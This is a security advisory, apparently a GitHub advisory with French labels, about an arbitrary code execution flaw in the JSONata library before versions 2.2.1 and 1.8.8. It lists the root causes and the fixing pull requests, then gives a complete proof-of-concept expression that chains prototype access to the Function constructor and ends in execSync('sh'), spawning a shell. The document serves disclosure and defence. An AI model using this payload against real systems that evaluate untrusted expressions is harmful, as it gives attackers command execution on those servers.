Résumé
JSONata vulnerable to Arbitrary Code Execution via crafted JSONata expressions
Détails de l’avis
Before JSONata 2.2.1 and 1.8.8 it was possible to execute arbitrary code with
crafted expressions, due to:
- overwriting
$cloneallowing mutation of objects via transforms (seeevaluateTransformExpression) - it being possible to destruct jsonata functions/lambdas (e.g.
$merge.*) - applyProcedure
using
proc.arguments.forEachand notArray.prototype.forEach
Which could be chained to execute arbitrary code.
This was fixed with:
- https://github.com/jsonata-js/jsonata/pull/799 (https://github.com/jsonata-js/jsonata/pull/799/changes#diff-de23c1b6e199d0e59406a284aae5fa7be63fcbbff706829913dba73dcdeb061cL1673-R1673)
- https://github.com/jsonata-js/jsonata/pull/800
- https://github.com/jsonata-js/jsonata/pull/802
Which are included in the 2.2.1 release. Fixes were then back-ported to the 1.8.8 release.
PoC
import jsonata from "jsonata";
const expression = jsonata(`
(
$obj := {};
$clone := function($o) { $o };
$m := ($merge.*)[1];
$fn := function($a) {
(
$a({"value":"lg"},"__lookupGetter__");
$a({"value":"x"},"x");
)
};
$nop := function() { $ };
$capture := function($val) {
$obj ~> | $obj | {"x": 1, "y": 1, "lg":$lg} |
};
$ ~> | $ | $m([$nop,{"_jsonata_lambda":false}])|;
$ ~> | $ | {"arguments":{"forEach": $spread($fn)}}|;
$ ~> | $ | {"body":$m([$capture,{"_jsonata_lambda":false}]).body}|;
$func := $m([$,{"_jsonata_lambda":true}]);
$func();
$gP := $obj.lg("__proto__");
$afn:=$spread($fn);
$afn{"x":$gP().constructor("return process.getBuiltinModule('child_process').execSync('sh',{stdio:'inherit'})")()};
)
`);
await expression.evaluate({});
